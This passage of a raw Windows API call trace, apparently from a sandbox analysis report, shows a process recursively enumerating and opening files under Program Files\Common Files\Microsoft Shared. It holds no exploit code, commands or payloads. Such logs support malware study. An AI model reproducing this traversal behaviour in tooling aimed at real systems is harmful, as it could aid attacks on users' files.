dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0045.901] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.901] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0045.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.901] NtClose (Handle=0x170) returned 0x0 [0045.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed40e8 [0045.901] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0045.901] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.901] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.901] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0045.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0045.902] GetLastError () returned 0x12 [0045.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0045.902] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0045.902] GetLastError () returned 0x12 [0045.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed40e8) returned 1 [0045.902] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0045.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.902] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0045.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0045.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0045.903] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0045.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.903] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0045.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.903] NtClose (Handle=0x174) returned 0x0 [0045.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed40e8 [0045.903] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0045.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0045.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0045.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbe08 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0045.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.904] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbe28 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbe48 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf030 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbe68 [0045.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf138 [0045.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.905] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0045.905] GetLastError () returned 0x12 [0045.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0045.905] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0045.906] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.906] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0045.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0045.907] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0045.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.907] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0045.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.907] NtClose (Handle=0x174) returned 0x0 [0045.907] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed41f8 [0045.908] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0045.908] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0045.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4280 [0045.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4280) returned 1 [0045.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4280 [0045.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4280) returned 1 [0045.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4280 [0045.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4280) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, 